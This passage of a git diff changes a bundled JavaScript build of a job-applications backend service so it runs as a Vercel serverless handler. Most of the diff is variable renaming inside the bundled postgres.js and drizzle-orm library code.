stack = (_c = new Error().stack) !== null && _c !== void 0 ? _c : ""; oldLogger.warn(`Current logger will be overwritten from ${stack}`); @@ -53974,6 +53974,21 @@ function newTraceContext(partial2 = {}) { } var IDEMPOTENCY_HEADER = "idempotency-key"; +// packages/utils/src/vercel.ts +function createVercelHandler(app2) { + const ready = Promise.resolve(app2.ready()); + ready.catch(() => void 0); + return async (req, res) => { + await ready; + app2.server.emit("request", req, res); + }; +} +var SERVERLESS_PLACEHOLDER_PORT = "3000"; +function withServerlessEnvDefaults(source = process.env) { + if (!source.VERCEL) return source; + return { ...source, PORT: source.PORT ?? SERVERLESS_PLACEHOLDER_PORT }; +} + // node_modules/.pnpm/jose@6.2.12/node_modules/jose/dist/webapi/lib/buffer_utils.js var encoder = new TextEncoder(); var decoder = new TextDecoder(); @@ -69812,8 +69827,8 @@ var listMessagesResponseSchema = external_exports.object({ }); // packages/auth-kit/src/tokens.ts -function createTokenVerifierConfig(env) { - const authBase = `${env.SUPABASE_URL}/auth/v1`; +function createTokenVerifierConfig(env2) { + const authBase = `${env2.SUPABASE_URL}/auth/v1`; return { jwks: createRemoteJWKSet(new URL(`${authBase}/.well-known/jwks.json`)), issuer: authBase @@ -71314,7 +71329,7 @@ var noop2 = () => { function Subscribe(postgres2, options) { const subscribers = /* @__PURE__ */ new Map(), slot = "postgresjs_" + Math.random().toString(36).slice(2), state = {}; let connection2, stream, ended = false; - const sql2 = subscribe.sql = postgres2({ + const sql3 = subscribe.sql = postgres2({ ...options, transform: { column: {}, value: {}, row: {} }, max: 1, @@ -71330,26 +71345,26 @@ function Subscribe(postgres2, options) { return; stream = null; state.pid = state.secret = void 0; - connected(await init(sql2, slot, options.publications)); + connected(await init(sql3, slot, options.publications)); subscribers.forEach((event) => event.forEach(({ onsubscribe }) => onsubscribe())); }, no_subscribe: true }); - const end = sql2.end, close = sql2.close; - sql2.end = async () => { + const end = sql3.end, close2 = sql3.close; + sql3.end = async () => { ended = true; stream && await new Promise((r) => (stream.once("close", r), stream.end())); return end(); }; - sql2.close = async () => { + sql3.close = async () => { stream && await new Promise((r) => (stream.once("close", r), stream.end())); - return close(); + return close2(); }; return subscribe; async function subscribe(event, fn, onsubscribe = noop2, onerror = noop2) { event = parseEvent2(event); if (!connection2) - connection2 = init(sql2, slot, options.publications); + connection2 = init(sql3, slot, options.publications); const subscriber = { fn, onsubscribe }; const fns = subscribers.has(event) ? subscribers.get(event).add(subscriber) : subscribers.set(event, /* @__PURE__ */ new Set([subscriber])).get(event); const unsubscribe = () => { @@ -71360,7 +71375,7 @@ function Subscribe(postgres2, options) { connected(x); onsubscribe(); stream && stream.on("error", onerror); - return { unsubscribe, state, sql: sql2 }; + return { unsubscribe, state, sql: sql3 }; }); } function connected(x) { @@ -71368,14 +71383,14 @@ function Subscribe(postgres2, options) { state.pid = x.state.pid; state.secret = x.state.secret; } - async function init(sql3, slot2, publications) { + async function init(sql4, slot2, publications) { if (!publications) throw new Error("Missing publication names"); - const xs = await sql3.unsafe( + const xs = await sql4.unsafe( `CREATE_REPLICATION_SLOT ${slot2} TEMPORARY LOGICAL pgoutput NOEXPORT_SNAPSHOT` ); const [x] = xs; - const stream2 = await sql3.unsafe( + const stream2 = await sql4.unsafe( `START_REPLICATION SLOT ${slot2} LOGICAL ${x.consistent_point} (proto_version '1', publication_names '${publications}')` ).writable(); const state2 = { @@ -71383,14 +71398,14 @@ function Subscribe(postgres2, options) { }; stream2.on("data", data); stream2.on("error", error51); - stream2.on("close", sql3.close); + stream2.on("close", sql4.close); return { stream: stream2, state: xs.state }; function error51(e) { console.error("Unexpected error during logical streaming - reconnecting", e); } function data(x2) { if (x2[0] === 119) { - parse3(x2.subarray(25), state2, sql3.options.parsers, handle, options.transform); + parse3(x2.subarray(25), state2, sql4.options.parsers, handle, options.transform); } else if (x2[0] === 107 && x2[17]) { state2.lsn = x2.subarray(1, 9); pong(); @@ -71522,22 +71537,22 @@ function parseEvent2(x) { // node_modules/.pnpm/postgres@3.4.9/node_modules/postgres/src/large.js import Stream2 from "stream"; -function largeObject(sql2, oid, mode = 131072 | 262144) { +function largeObject(sql3, oid, mode = 131072 | 262144) { return new Promise(async (resolve, reject) => { - await sql2.begin(async (sql3) => { + await sql3.begin(async (sql4) => { let finish; - !oid && ([{ oid }] = await sql3`select lo_creat(-1) as oid`); - const [{ fd }] = await sql3`select lo_open(${oid}, ${mode}) as fd`; + !oid && ([{ oid }] = await sql4`select lo_creat(-1) as oid`); + const [{ fd }] = await sql4`select lo_open(${oid}, ${mode}) as fd`; const lo = { writable, readable, - close: () => sql3`select lo_close(${fd})`.then(finish), - tell: () => sql3`select lo_tell64(${fd})`, - read: (x) => sql3`select loread(${fd}, ${x}) as data`, - write: (x) => sql3`select lowrite(${fd}, ${x})`, - truncate: (x) => sql3`select lo_truncate64(${fd}, ${x})`, - seek: (x, whence = 0) => sql3`select lo_lseek64(${fd}, ${x}, ${whence})`, - size: () => sql3` + close: () => sql4`select lo_close(${fd})`.then(finish), + tell: () => sql4`select lo_tell64(${fd})`, + read: (x) => sql4`select loread(${fd}, ${x}) as data`, + write: (x) => sql4`select lowrite(${fd}, ${x})`, + truncate: (x) => sql4`select lo_truncate64(${fd}, ${x})`, + seek: (x, whence = 0) => sql4`select lo_lseek64(${fd}, ${x}, ${whence})`, + size: () => sql4` select lo_lseek64(${fd}, location, 0) as position, seek.size @@ -71612,12 +71627,12 @@ function Postgres(a, b2) { let ending = false; const queries = queue_default(), connecting = queue_default(), reserved = queue_default(), closed = queue_default(), ended = queue_default(), open = queue_default(), busy = queue_default(), full = queue_default(), queues = { connecting, reserved, closed, ended, open, busy, full }; const connections = [...Array(options.max)].map(() => connection_default(options, queues, { onopen, onend, onclose })); - const sql2 = Sql(handler); - Object.assign(sql2, { + const sql3 = Sql(handler); + Object.assign(sql3, { get parameters() { return options.parameters; }, - largeObject: largeObject.bind(null, sql2), + largeObject: largeObject.bind(null, sql3), subscribe, CLOSE, END: CLOSE, @@ -71626,17 +71641,17 @@ function Postgres(a, b2) { reserve, listen, begin, - close, + close: close2, end }); - return sql2; + return sql3; function Sql(handler2) { handler2.debug = options.debug; Object.entries(options.types).reduce((acc, [name, type]) => { acc[name] = (x) => new Parameter(x, type.to); return acc; }, typed); - Object.assign(sql3, { + Object.assign(sql4, { types: typed, typed, unsafe, @@ -71645,11 +71660,11 @@ function Postgres(a, b2) { json: json3, file: file2 }); - return sql3; + return sql4; function typed(value, type) { return new Parameter(value, type); } - function sql3(strings, ...args) { + function sql4(strings, ...args) { const query = strings && Array.isArray(strings.raw) ? new Query(strings, args, handler2, cancel) : typeof strings === "string" && !args.length ? new Identifier(options.transform.column.to ? options.transform.column.to(strings) : strings) : new Builder(strings, args); return query; } @@ -71680,7 +71695,7 @@ function Postgres(a, b2) { } async function listen(name, fn, onlisten) { const listener = { fn, onlisten }; - const sql3 = listen.sql || (listen.sql = Postgres({ + const sql4 = listen.sql || (listen.sql = Postgres({ ...options, max: 1, idle_timeout: null, @@ -71704,7 +71719,7 @@ function Postgres(a, b2) { listener.onlisten && listener.onlisten(); return { state: result2.state, unlisten }; } - channels[name] = { result: sql3`listen ${sql3.unsafe('"' + name.replace(/"/g, '""') + '"')}`, listeners: [listener] }; + channels[name] = { result: sql4`listen ${sql4.unsafe('"' + name.replace(/"/g, '""') + '"')}`, listeners: [listener] }; const result = await channels[name].result; listener.onlisten && listener.onlisten(); return { state: result.state, unlisten }; @@ -71715,11 +71730,11 @@ function Postgres(a, b2) { if (channels[name].listeners.length) return; delete channels[name]; - return sql3`unlisten ${sql3.unsafe('"' + name.replace(/"/g, '""') + '"')}`; + return sql4`unlisten ${sql4.unsafe('"' + name.replace(/"/g, '""') + '"')}`; } } async function notify(channel, payload) { - return await sql2`select pg_notify(${channel}, ${"" + payload})`; + return await sql3`select pg_notify(${channel}, ${"" + payload})`; } async function reserve() { const queue = queue_default(); @@ -71731,12 +71746,12 @@ function Postgres(a, b2) { move(c, reserved); c.reserved = () => queue.length ? c.execute(queue.shift()) : move(c, reserved); c.reserved.release = true; - const sql3 = Sql(handler2); - sql3.release = () => { + const sql4 = Sql(handler2); + sql4.release = () => { c.reserved = null; onopen(c); }; - return sql3; + return sql4; function handler2(q) { c.queue === full ? queue.push(q) : c.execute(q) || move(c, full); } @@ -71746,7 +71761,7 @@ function Postgres(a, b2) { const queries2 = queue_default(); let savepoints = 0, connection2, prepare = null; try { - await sql2.unsafe("begin " + options2.replace(/[^a-z ]/ig, ""), [], { onexecute }).execute(); + await sql3.unsafe("begin " + options2.replace(/[^a-z ]/ig, ""), [], { onexecute }).execute(); return await Promise.race([ scope(connection2, fn), new Promise((_, reject) => connection2.onclose = reject) @@ -71755,29 +71770,29 @@ function Postgres(a, b2) { throw error51; } async function scope(c, fn2, name) { - const sql3 = Sql(handler2); - sql3.savepoint = savepoint; - sql3.prepare = (x) => prepare = x.replace(/[^a-z0-9$-_. ]/gi); + const sql4 = Sql(handler2); + sql4.savepoint = savepoint; + sql4.prepare = (x) => prepare = x.replace(/[^a-z0-9$-_. ]/gi); let uncaughtError, result; - name && await sql3`savepoint ${sql3(name)}`; + name && await sql4`savepoint ${sql4(name)}`; try { result = await new Promise((resolve, reject) => { - const x = fn2(sql3); + const x = fn2(sql4); Promise.resolve(Array.isArray(x) ? Promise.all(x) : x).then(resolve, reject); }); if (uncaughtError) throw uncaughtError; } catch (e) { - await (name ? sql3`rollback to ${sql3(name)}` : sql3`rollback`); + await (name ? sql4`rollback to ${sql4(name)}` : sql4`rollback`); throw e instanceof PostgresError && e.code === "25P02" && uncaughtError || e; } if (!name) { - prepare ? await sql3`prepare transaction '${sql3.unsafe(prepare)}'` : await sql3`commit`; + prepare ? await sql4`prepare transaction '${sql4.unsafe(prepare)}'` : await sql4`commit`; } return result; function savepoint(name2, fn3) { if (name2 && Array.isArray(name2.raw)) - return savepoint((sql4) => sql4.apply(sql4, arguments)); + return savepoint((sql5) => sql5.apply(sql5, arguments)); arguments.length === 1 && (fn3 = name2, name2 = null); return scope(c, fn3, "s" + savepoints++ + (name2 ? "_" + name2 : "")); } @@ -71837,7 +71852,7 @@ function Postgres(a, b2) { )) ]).then(() => clearTimeout(timer2)); } - async function close() { + async function close2() { await Promise.all(connections.map((c) => c.end())); } async function destroy(resolve) { @@ -71877,7 +71892,7 @@ function Postgres(a, b2) { function parseOptions(a, b2) { if (a && a.shared) return a; - const env = process.env, o = (!a || typeof a === "string" ? b2 : a) || {}, { url: url2, multihost } = parseUrl(a), query = [...url2.searchParams].reduce((a2, [b3, c]) => (a2[b3] = c, a2), {}), host = o.hostname || o.host || multihost || url2.hostname || env.PGHOST || "localhost", port = o.port || url2.port || env.PGPORT || 5432, user = o.user || o.username || url2.username || env.PGUSERNAME || env.PGUSER || osUsername(); + const env2 = process.env, o = (!a || typeof a === "string" ? b2 : a) || {}, { url: url2, multihost } = parseUrl(a), query = [...url2.searchParams].reduce((a2, [b3, c]) => (a2[b3] = c, a2), {}), host = o.hostname || o.host || multihost || url2.hostname || env2.PGHOST || "localhost", port = o.port || url2.port || env2.PGPORT || 5432, user = o.user || o.username || url2.username || env2.PGUSERNAME || env2.PGUSER || osUsername(); o.no_prepare && (o.prepare = false); query.sslmode && (query.ssl = query.sslmode, delete query.sslmode); "timeout" in o && (console.log("The timeout option is deprecated, use idle_timeout instead"), o.idle_timeout = o.timeout); @@ -71903,24 +71918,24 @@ function parseOptions(a, b2) { host: Array.isArray(host) ? host : host.split(",").map((x) => x.split(":")[0]), port: Array.isArray(port) ? port : host.split(",").map((x) => parseInt(x.split(":")[1] || port)), path: o.path || host.indexOf("/") > -1 && host + "/.s.PGSQL." + port, - database: o.database || o.db || (url2.pathname || "").slice(1) || env.PGDATABASE || user, + database: o.database || o.db || (url2.pathname || "").slice(1) || env2.PGDATABASE || user, user, - pass: o.pass || o.password || url2.password || env.PGPASSWORD || "", + pass: o.pass || o.password || url2.password || env2.PGPASSWORD || "", ...Object.entries(defaults).reduce( (acc, [k, d]) => { - const value = k in o ? o[k] : k in query ? query[k] === "disable" || query[k] === "false" ? false : query[k] : env["PG" + k.toUpperCase()] || d; + const value = k in o ? o[k] : k in query ? query[k] === "disable" || query[k] === "false" ? false : query[k] : env2["PG" + k.toUpperCase()] || d; acc[k] = typeof value === "string" && ints.includes(k) ? +value : value; return acc; }, {} ), connection: { - application_name: env.PGAPPNAME || "postgres.js", + application_name: env2.PGAPPNAME || "postgres.js", ...o.connection, ...Object.entries(query).reduce((acc, [k, v]) => (k in defaults || (acc[k] = v), acc), {}) }, types: o.types || {}, - target_session_attrs: tsa(o, url2, env), + target_session_attrs: tsa(o, url2, env2), onnotice: o.onnotice, onnotify: o.onnotify, onclose: o.onclose, @@ -71932,8 +71947,8 @@ function parseOptions(a, b2) { ...mergeUserTypes(o.types) }; } -function tsa(o, url2, env) { - const x = o.target_session_attrs || url2.searchParams.get("target_session_attrs") || env.PGTARGETSESSIONATTRS; +function tsa(o, url2, env2) { + const x = o.target_session_attrs || url2.searchParams.get("target_session_attrs") || env2.PGTARGETSESSIONATTRS; if (!x || ["read-write", "read-only", "primary", "standby", "prefer-standby"].includes(x)) return x; throw new Error("target_session_attrs " + x + " is not supported"); @@ -72688,10 +72703,10 @@ function pgEnumObjectWithSchema(enumName, values2, schema) { // node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/subquery.js var Subquery = class { static [entityKind] = "Subquery"; - constructor(sql2, fields, alias, isWith = false, usedTables = []) { + constructor(sql3, fields, alias, isWith = false, usedTables = []) { this._ = { brand: "Subquery", - sql: sql2, + sql: sql3, selectedFields: fields, alias, isWith, @@ -73089,19 +73104,19 @@ function sql(strings, ...params) { } return new SQL(queryChunks); } -((sql2) => { +((sql22) => { function empty() { return new SQL([]); } - sql2.empty = empty; + sql22.empty = empty; function fromList(list) { return new SQL(list); } - sql2.fromList = fromList; + sql22.fromList = fromList; function raw(str) { return new SQL([new StringChunk(str)]); } - sql2.raw = raw; + sql22.raw = raw; function join(chunks, separator) { const result = []; for (const [i, chunk] of chunks.entries()) { @@ -73112,24 +73127,24 @@ function sql(strings, ...params) { } return new SQL(result); } - sql2.join = join; + sql22.join = join; function identifier(value) { return new Name(value); } - sql2.identifier = identifier; + sql22.identifier = identifier; function placeholder2(name2) { return new Placeholder(name2); } - sql2.placeholder = placeholder2; + sql22.placeholder = placeholder2; function param2(value, encoder2) { return new Param(value, encoder2); } - sql2.param = param2; + sql22.param = param2; })(sql || (sql = {})); ((SQL2) => { class Aliased { - constructor(sql2, fieldAlias) { - this.sql = sql2; + constructor(sql22, fieldAlias) { + this.sql = sql22; this.fieldAlias = fieldAlias; } static [entityKind] = "SQL.Aliased"; @@ -75949,8 +75964,8 @@ var PgDialect = class { return "none"; } } - sqlToQuery(sql2, invokeSource) { - return sql2.toQuery({ + sqlToQuery(sql22, invokeSource) { + return sql22.toQuery({ casing: this.casing, escapeName: this.escapeName, escapeParam: this.escapeParam, @@ -78309,10 +78324,10 @@ var PgRelationalQuery = class extends QueryPromise { // node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/query-builders/raw.js var PgRaw = class extends QueryPromise { - constructor(execute, sql2, query, mapBatchResult) { + constructor(execute, sql3, query, mapBatchResult) { super(); this.execute = execute; - this.sql = sql2; + this.sql = sql3; this.query = query; this.mapBatchResult = mapBatchResult; } @@ -78632,8 +78647,8 @@ var NoopCache = class extends Cache { async onMutate(_params) { } }; -async function hashQuery(sql2, params) { - const dataToHash = `${sql2}-${JSON.stringify(params)}`; +async function hashQuery(sql3, params) { + const dataToHash = `${sql3}-${JSON.stringify(params)}`; const encoder2 = new TextEncoder(); const data = encoder2.encode(dataToHash); const hashBuffer = await crypto.subtle.digest("SHA-256", data); @@ -78766,8 +78781,8 @@ var PgSession = class { ).all(); } /** @internal */ - async count(sql2, token) { - const res = await this.execute(sql2, token); + async count(sql22, token) { + const res = await this.execute(sql22, token); return Number( res[0]["count"] ); @@ -78804,12 +78819,12 @@ var PgTransaction = class extends PgDatabase { // node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/postgres-js/session.js var PostgresJsPreparedQuery = class extends PgPreparedQuery { - constructor(client, queryString, params, logger, cache2, queryMetadata, cacheConfig, fields, _isResponseInArrayMode, customResultMapper) { + constructor(client, queryString, params, logger2, cache2, queryMetadata, cacheConfig, fields, _isResponseInArrayMode, customResultMapper) { super({ sql: queryString, params }, cache2, queryMetadata, cacheConfig); this.client = client; this.queryString = queryString; this.params = params; - this.logger = logger; + this.logger = logger2; this.fields = fields; this._isResponseInArrayMode = _isResponseInArrayMode; this.customResultMapper = customResultMapper; @@ -78951,11 +78966,11 @@ function construct(client, config2 = {}) { client.options.serializers["114"] = transparentParser; client.options.serializers["3802"] = transparentParser; const dialect = new PgDialect({ casing: config2.casing }); - let logger; + let logger2; if (config2.logger === true) { - logger = new DefaultLogger(); + logger2 = new DefaultLogger(); } else if (config2.logger !== false) { - logger = config2.logger; + logger2 = config2.logger; } let schema; if (config2.schema) { @@ -78969,14 +78984,14 @@ function construct(client, config2 = {}) { tableNamesMap: tablesConfig.tableNamesMap }; } - const session = new PostgresJsSession(client, dialect, schema, { logger, cache: config2.cache }); - const db = new PostgresJsDatabase(dialect, session, schema); - db.$client = client; - db.$cache = config2.cache; - if (db.$cache) { - db.$cache["invalidate"] = config2.cache?.onMutate; + const session = new PostgresJsSession(client, dialect, schema, { logger: logger2, cache: config2.cache }); + const db2 = new PostgresJsDatabase(dialect, session, schema); + db2.$client = client; + db2.$cache = config2.cache; + if (db2.$cache) { + db2.$cache["invalidate"] = config2.cache?.onMutate; } - return db; + return db2; } function drizzle(...params) { if (typeof params[0] === "string") { @@ -79531,7 +79546,7 @@ var idempotencyKeys = pgTable( // packages/db/src/client.ts function createDatabase(options) { - const sql2 = src_default(options.url, { + const sql3 = src_default(options.url, { max: options.singleConnection === true ? 1 : options.maxConnections ?? 10, // Prepared statements are disabled because pgbouncer in transaction mode // (the deployment target) cannot support them. @@ -79539,18 +79554,18 @@ function createDatabase(options) { onnotice: options.onNotice ?? (() => { }) }); - const db = drizzle(sql2, { schema: schema_exports }); + const db2 = drizzle(sql3, { schema: schema_exports }); return { - db, - sql: sql2, + db: db2, + sql: sql3, close: async () => { - await sql2.end({ timeout: 5 }); + await sql3.end({ timeout: 5 }); } }; } -async function pingDatabase(sql2) { +async function pingDatabase(sql3) { try { - await sql2`SELECT 1`; + await sql3`SELECT 1`; return true; } catch { return false; @@ -79900,12 +79915,12 @@ function createMetricsRegistry(serviceName) { } // packages/observability/src/fastify.ts -function registerHttpMetrics(app, metrics2) { - app.decorateRequest("metricsStartTime", void 0); - app.addHook("onRequest", async (request) => { +function registerHttpMetrics(app2, metrics2) { + app2.decorateRequest("metricsStartTime", void 0); + app2.addHook("onRequest", async (request) => { request.metricsStartTime = process.hrtime.bigint(); }); - app.addHook("onResponse", async (request, reply) => { + app2.addHook("onResponse", async (request, reply) => { const route = request.routeOptions.url ?? request.url; const labels = { method: request.method, route, status_code: String(reply.statusCode) }; metrics2.httpRequestsTotal.inc(labels); @@ -79915,8 +79930,8 @@ function registerHttpMetrics(app, metrics2) { } }); } -function metricsRoute(app, metrics2) { - app.get("/metrics", async (_request, reply) => { +function metricsRoute(app2, metrics2) { + app2.get("/metrics", async (_request, reply) => { reply.header("content-type", metrics2.registry.contentType); return metrics2.registry.metrics(); }); @@ -79939,24 +79954,24 @@ function toApplication(row) { created_at: row.createdAt }; } -async function findById(db, applicationId) { - const [row] = await db.select().from(schema_exports.applications).where(eq(schema_exports.applications.applicationId, applicationId)).limit(1); +async function findById(db2, applicationId) { + const [row] = await db2.select().from(schema_exports.applications).where(eq(schema_exports.applications.applicationId, applicationId)).limit(1); return row ?? null; } -async function findByUserAndJob(db, userId, jobId) { - const [row] = await db.select().from(schema_exports.applications).where(and(eq(schema_exports.applications.userId, userId), eq(schema_exports.applications.jobId, jobId))).limit(1); +async function findByUserAndJob(db2, userId, jobId) { + const [row] = await db2.select().from(schema_exports.applications).where(and(eq(schema_exports.applications.userId, userId), eq(schema_exports.applications.jobId, jobId))).limit(1); return row ?? null; } -async function findByUserAndIdempotencyKey(db, userId, idempotencyKey) { - const [row] = await db.select().from(schema_exports.applications).where(and(eq(schema_exports.applications.userId, userId), eq(schema_exports.applications.idempotencyKey, idempotencyKey))).limit(1); +async function findByUserAndIdempotencyKey(db2, userId, idempotencyKey) { + const [row] = await db2.select().from(schema_exports.applications).where(and(eq(schema_exports.applications.userId, userId), eq(schema_exports.applications.idempotencyKey, idempotencyKey))).limit(1); return row ?? null; } -async function insertApplication(db, input) { - const [row] = await db.insert(schema_exports.applications).values(input).returning(); +async function insertApplication(db2, input) { + const [row] = await db2.insert(schema_exports.applications).values(input).returning(); if (!row) throw new Error("insertApplication: insert returned no row"); return row; } -async function listByCondition(db, scopeCondition, pagination) { +async function listByCondition(db2, scopeCondition, pagination) { const cursorValue = pagination.cursor ? decodeCursor(pagination.cursor) : null; const cursorCreatedAt = typeof cursorValue?.createdAt === "string" ? cursorValue.createdAt : null; const cursorId = typeof cursorValue?.id === "string" ? cursorValue.id : null; @@ -79968,7 +79983,7 @@ async function listByCondition(db, scopeCondition, pagination) { ); if (tieBreak) conditions.push(tieBreak); } - const rows = await db.select().from(schema_exports.applications).where(and(...conditions)).orderBy(desc(schema_exports.applications.createdAt), desc(schema_exports.applications.applicationId)).limit(pagination.limit + 1); + const rows = await db2.select().from(schema_exports.applications).where(and(...conditions)).orderBy(desc(schema_exports.applications.createdAt), desc(schema_exports.applications.applicationId)).limit(pagination.limit + 1); const hasMore = rows.length > pagination.limit; const items = hasMore ? rows.slice(0, pagination.limit) : rows; const last = items[items.length - 1]; @@ -79977,14 +79992,14 @@ async function listByCondition(db, scopeCondition, pagination) { nextCursor: hasMore && last ? encodeCursor({ createdAt: last.createdAt, id: last.applicationId }) : null }; } -async function listForUser(db, userId, pagination) { - return listByCondition(db, eq(schema_exports.applications.userId, userId), pagination); +async function listForUser(db2, userId, pagination) { + return listByCondition(db2, eq(schema_exports.applications.userId, userId), pagination); } -async function listForOrganization(db, organizationId, pagination) { - return listByCondition(db, eq(schema_exports.applications.organizationId, organizationId), pagination); +async function listForOrganization(db2, organizationId, pagination) { + return listByCondition(db2, eq(schema_exports.applications.organizationId, organizationId), pagination); } -async function appendEvent(db, input) { - return db.transaction(async (tx) => { +async function appendEvent(db2, input) { + return db2.transaction(async (tx) => { const now = (/* @__PURE__ */ new Date()).toISOString(); const [updated] = await tx.update(schema_exports.applications).set({ status: input.toStatus, @@ -80022,8 +80037,8 @@ function isValidTransition(from, to) { // services/applications/src/http/routes/append-event.ts var paramsSchema = external_exports.object({ id: uuidSchema }); -function appendEventRoute(app, deps) { - app.post("/v1/applications/:id/events", { preHandler: requireAuth(deps.tokenVerifier) }, async (request, reply) => { +function appendEventRoute(app2, deps) { + app2.post("/v1/applications/:id/events", { preHandler: requireAuth(deps.tokenVerifier) }, async (request, reply) => { const actor = getActor(request); const { id } = paramsSchema.parse(request.params); const body = appendApplicationEventRequestSchema.parse(request.body); @@ -80057,12 +80072,12 @@ function appendEventRoute(app, deps) { } // services/applications/src/repo/lookups.ts -async function findActiveJob(db, jobId) { - const [row] = await db.select({ jobId: schema_exports.jobs.jobId, isActive: schema_exports.jobs.isActive }).from(schema_exports.jobs).where(eq(schema_exports.jobs.jobId, jobId)).limit(1); +async function findActiveJob(db2, jobId) { + const [row] = await db2.select({ jobId: schema_exports.jobs.jobId, isActive: schema_exports.jobs.isActive }).from(schema_exports.jobs).where(eq(schema_exports.jobs.jobId, jobId)).limit(1); return row ?? null; } -async function findParsedResumeOwnedBy(db, resumeId, userId) { - const [row] = await db.select({ resumeId: schema_exports.resumes.resumeId }).from(schema_exports.resumes).where( +async function findParsedResumeOwnedBy(db2, resumeId, userId) { + const [row] = await db2.select({ resumeId: schema_exports.resumes.resumeId }).from(schema_exports.resumes).where( and( eq(schema_exports.resumes.resumeId, resumeId), eq(schema_exports.resumes.userId, userId), @@ -80075,8 +80090,8 @@ async function findParsedResumeOwnedBy(db, resumeId, userId) { // services/applications/src/http/routes/create-application.ts var UNIQUE_VIOLATION = "23505"; var idempotencyKeySchema = external_exports.string().min(8).max(200); -function createApplicationRoute(app, deps) { - app.post("/v1/applications", { preHandler: requireAuth(deps.tokenVerifier) }, async (request, reply) => { +function createApplicationRoute(app2, deps) { + app2.post("/v1/applications", { preHandler: requireAuth(deps.tokenVerifier) }, async (request, reply) => { const actor = getActor(request); const rawKey2 = request.headers[IDEMPOTENCY_HEADER]; if (typeof rawKey2 !== "string" || rawKey2.length === 0) { @@ -80151,8 +80166,8 @@ function createApplicationRoute(app, deps) { // services/applications/src/http/routes/get-application.ts var paramsSchema2 = external_exports.object({ id: uuidSchema }); -function getApplicationRoute(app, deps) { - app.get("/v1/applications/:id", { preHandler: requireAuth(deps.tokenVerifier) }, async (request, reply) => { +function getApplicationRoute(app2, deps) { + app2.get("/v1/applications/:id", { preHandler: requireAuth(deps.tokenVerifier) }, async (request, reply) => { const actor = getActor(request); const { id } = paramsSchema2.parse(request.params); const row = await findById(deps.db, id); @@ -80167,8 +80182,8 @@ function getApplicationRoute(app, deps) { } // services/applications/src/http/routes/health.ts -function healthRoute(app, deps) { - app.get("/health", async (_request, reply) => { +function healthRoute(app2, deps) { + app2.get("/health", async (_request, reply) => { const dbOk = await pingDatabase(deps.sql); const brokerOk = deps.broker.isHealthy(); const body = { @@ -80183,8 +80198,8 @@ function healthRoute(app, deps) { // services/applications/src/http/routes/list-applications.ts var scopeSchema = external_exports.enum(["mine", "organization"]).default("mine"); -function listApplicationsRoute(app, deps) { - app.get("/v1/applications", { preHandler: requireAuth(deps.tokenVerifier) }, async (request, reply) => { +function listApplicationsRoute(app2, deps) { + app2.get("/v1/applications", { preHandler: requireAuth(deps.tokenVerifier) }, async (request, reply) => { const actor = getActor(request); const query = listApplicationsQuerySchema.parse(request.query); const scope = scopeSchema.parse(request.query.scope); @@ -80213,7 +80228,7 @@ var STATUS_TO_CODE = { 429: "RATE_LIMITED" }; function buildApp(deps) { - const app = (0, import_fastify.default)({ + const app2 = (0, import_fastify.default)({ // See services/auth/src/app.ts for why this cast is needed: pino's Logger // type and Fastify's FastifyBaseLogger disagree on a structural detail // that doesn't matter at runtime. @@ -80222,14 +80237,14 @@ function buildApp(deps) { trustProxy: true, genReqId: () => newUuid() }); - void app.register(import_cors.default, { origin: parseCorsOrigins(deps.env.CORS_ORIGINS) }); - void app.register(import_rate_limit.default, { + void app2.register(import_cors.default, { origin: parseCorsOrigins(deps.env.CORS_ORIGINS) }); + void app2.register(import_rate_limit.default, { max: deps.env.RATE_LIMIT_MAX, timeWindow: deps.env.RATE_LIMIT_WINDOW }); const metrics2 = createMetricsRegistry("applications-service"); - registerHttpMetrics(app, metrics2); - app.setErrorHandler((error51, request, reply) => { + registerHttpMetrics(app2, metrics2); + app2.setErrorHandler((error51, request, reply) => { if (error51 instanceof ZodError) { reply.status(400).send({ error: { @@ -80260,18 +80275,18 @@ function buildApp(deps) { const appError = toAppError(error51); reply.status(appError.statusCode).send(appError.toResponse(request.id)); }); - app.setNotFoundHandler((request, reply) => { + app2.setNotFoundHandler((request, reply) => { reply.status(404).send({ error: { code: "NOT_FOUND", message: "Route not found", request_id: request.id } }); }); - healthRoute(app, deps); - metricsRoute(app, metrics2); - createApplicationRoute(app, deps); - listApplicationsRoute(app, deps); - getApplicationRoute(app, deps); - appendEventRoute(app, deps); - return app; + healthRoute(app2, deps); + metricsRoute(app2, metrics2); + createApplicationRoute(app2, deps); + listApplicationsRoute(app2, deps); + getApplicationRoute(app2, deps); + appendEventRoute(app2, deps); + return app2; } // services/applications/src/env.ts @@ -80288,19 +80303,20 @@ function loadApplicationsServiceEnv(source = process.env) { } // services/applications/src/index.ts -async function main() { - const env = loadApplicationsServiceEnv(); - const logger = createLogger({ service: "applications-service", level: env.LOG_LEVEL, pretty: env.LOG_PRETTY }); - const { db, sql: sql2, close } = createDatabase({ url: env.DATABASE_URL, maxConnections: env.DATABASE_POOL_MAX }); - const broker = createBroker({ - driver: env.MESSAGING_DRIVER, - url: env.RABBITMQ_URL, - exchange: env.MESSAGING_EXCHANGE, - maxRetries: env.MESSAGING_MAX_RETRIES, - logger - }); - const tokenVerifier = createTokenVerifierConfig(env); - const app = buildApp({ db, sql: sql2, env, logger, broker, tokenVerifier }); +var env = loadApplicationsServiceEnv(withServerlessEnvDefaults()); +var logger = createLogger({ service: "applications-service", level: env.LOG_LEVEL, pretty: env.LOG_PRETTY }); +var { db, sql: sql2, close } = createDatabase({ url: env.DATABASE_URL, maxConnections: env.DATABASE_POOL_MAX }); +var broker = createBroker({ + driver: env.MESSAGING_DRIVER, + url: env.RABBITMQ_URL, + exchange: env.MESSAGING_EXCHANGE, + maxRetries: env.MESSAGING_MAX_RETRIES, + logger +}); +var tokenVerifier = createTokenVerifierConfig(env); +var app = buildApp({ db, sql: sql2, env, logger, broker, tokenVerifier }); +var index_default = createVercelHandler(app); +if (!process.env.VERCEL) { const shutdown = async (signal) => { logger.info({ signal }, "shutting down"); await app.close(); @@ -80312,10 +80328,10 @@ async function main() { process.on("SIGINT", () => void shutdown("SIGINT")); await app.listen({ host: env.HOST, port: env.PORT }); } -main().catch((error51) => { - console.error(error51); - process.exit(1); -}); +export { + app, + index_default as default +}; /*! Bundled license information: amqplib/lib/defs.js: diff --git a/api/auth/index.js b/api/auth/index.js index 